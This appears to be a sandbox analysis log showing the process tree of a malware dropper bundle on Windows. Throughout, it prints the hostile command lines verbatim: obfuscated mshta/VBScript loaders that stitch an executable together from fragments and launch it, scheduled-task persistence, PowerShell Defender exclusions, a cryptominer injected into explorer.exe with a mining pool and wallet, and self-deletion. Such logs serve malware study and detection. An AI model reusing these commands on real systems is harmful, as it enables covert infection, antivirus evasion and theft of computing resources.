C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"13⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC13⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 8088⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 9408⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 9888⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 9888⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 9568⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 9488⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5212 -s 10368⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe"C:\Users\Admin\AppData\Local\Temp\jgliu-game.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f8,0x1fc,0x200,0x1d4,0x204,0x7ffea288dec0,0x7ffea288ded0,0x7ffea288dee010⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ff67bc59e70,0x7ff67bc59e80,0x7ff67bc59e9011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --mojo-platform-channel-handle=1724 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1668 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2648 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2628 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --mojo-platform-channel-handle=2364 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --mojo-platform-channel-handle=2860 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3632 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --mojo-platform-channel-handle=3696 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --mojo-platform-channel-handle=3480 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --mojo-platform-channel-handle=820 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,15414257020938116713,11538343477473231904,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1060_1125857665" --mojo-platform-channel-handle=1016 /prefetch:810⤵
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"7⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"7⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"10⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe10⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"11⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"12⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"13⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04a13875aa1c59b58.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04a13875aa1c59b58.exeFri04a13875aa1c59b58.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\2499571.exe"C:\Users\Admin\AppData\Roaming\2499571.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\2166497.exe"C:\Users\Admin\AppData\Roaming\2166497.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\5646938.exe"C:\Users\Admin\AppData\Roaming\5646938.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\7029534.exe"C:\Users\Admin\AppData\Roaming\7029534.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\3677189.exe"C:\Users\Admin\AppData\Roaming\3677189.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\637589.exe"C:\Users\Admin\AppData\Roaming\637589.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\637589.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\637589.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\637589.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\637589.exe" ) do taskkill -f -Im "%~NXZ"8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"12⤵
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K14⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K15⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "637589.exe"9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0431de7a47.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0431de7a47.exeFri0431de7a47.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0431de7a47.exeC:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0431de7a47.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3564 -s 247⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri0480a54c0d2a7.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri0480a54c0d2a7.exeFri0480a54c0d2a7.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri040df945a5.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri040df945a5.exeFri040df945a5.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 6606⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 7046⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 7846⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 8206⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 8926⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 9406⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 10926⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 5364⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri042d82e64f594.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04b1200e850ea1bc.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04f70c88181ec8.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri040eeed7d137.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri04113f869350dcf8.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri048a4e8610c6c199.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri048a4e8610c6c199.exeFri048a4e8610c6c199.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri048a4e8610c6c199.exe"C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri048a4e8610c6c199.exe" -u2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri042d82e64f594.exeFri042d82e64f594.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04f70c88181ec8.exeC:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04f70c88181ec8.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS874802B5\Fri04b1200e850ea1bc.exeFri04b1200e850ea1bc.exe1⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\yMSY4TCu6GaAMLu7pr5OVbjl.exe"C:\Users\Admin\Pictures\Adobe Films\yMSY4TCu6GaAMLu7pr5OVbjl.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\TbSmTzKnBH3Fh1GBQakN4OZD.exe"C:\Users\Admin\Pictures\Adobe Films\TbSmTzKnBH3Fh1GBQakN4OZD.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\ze4ON0kRG2vWX1qvQgfClvOz.exe"C:\Users\Admin\Pictures\Adobe Films\ze4ON0kRG2vWX1qvQgfClvOz.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\oS_1bJY1zwzroovdfwgCrEOA.exe"C:\Users\Admin\Pictures\Adobe Films\oS_1bJY1zwzroovdfwgCrEOA.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im oS_1bJY1zwzroovdfwgCrEOA.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\oS_1bJY1zwzroovdfwgCrEOA.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im oS_1bJY1zwzroovdfwgCrEOA.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\JCH5wGh0te2IhQoT81U2nV_M.exe"C:\Users\Admin\Pictures\Adobe Films\JCH5wGh0te2IhQoT81U2nV_M.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\sYJXs689YExTgnH_uiS212dh.exe"C:\Users\Admin\Pictures\Adobe Films\sYJXs689YExTgnH_uiS212dh.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\f3c439fa-071d-448e-be1a-50dca7030795\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\f3c439fa-071d-448e-be1a-50dca7030795\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\f3c439fa-071d-448e-be1a-50dca7030795\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵
-
C:\Users\Admin\AppData\Local\Temp\f3c439fa-071d-448e-be1a-50dca7030795\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\f3c439fa-071d-448e-be1a-50dca7030795\AdvancedRun.exe" /SpecialRun 4101d8 7604⤵
-
C:\Users\Admin\AppData\Local\Temp\cf793223-9bd4-4801-8bd7-e8739ef04848\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\cf793223-9bd4-4801-8bd7-e8739ef04848\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\cf793223-9bd4-4801-8bd7-e8739ef04848\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵
-
C:\Users\Admin\AppData\Local\Temp\cf793223-9bd4-4801-8bd7-e8739ef04848\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\cf793223-9bd4-4801-8bd7-e8739ef04848\AdvancedRun.exe" /SpecialRun 4101d8 38564⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\sYJXs689YExTgnH_uiS212dh.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\sYJXs689YExTgnH_uiS212dh.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\sYJXs689YExTgnH_uiS212dh.exe" -Force3⤵
-
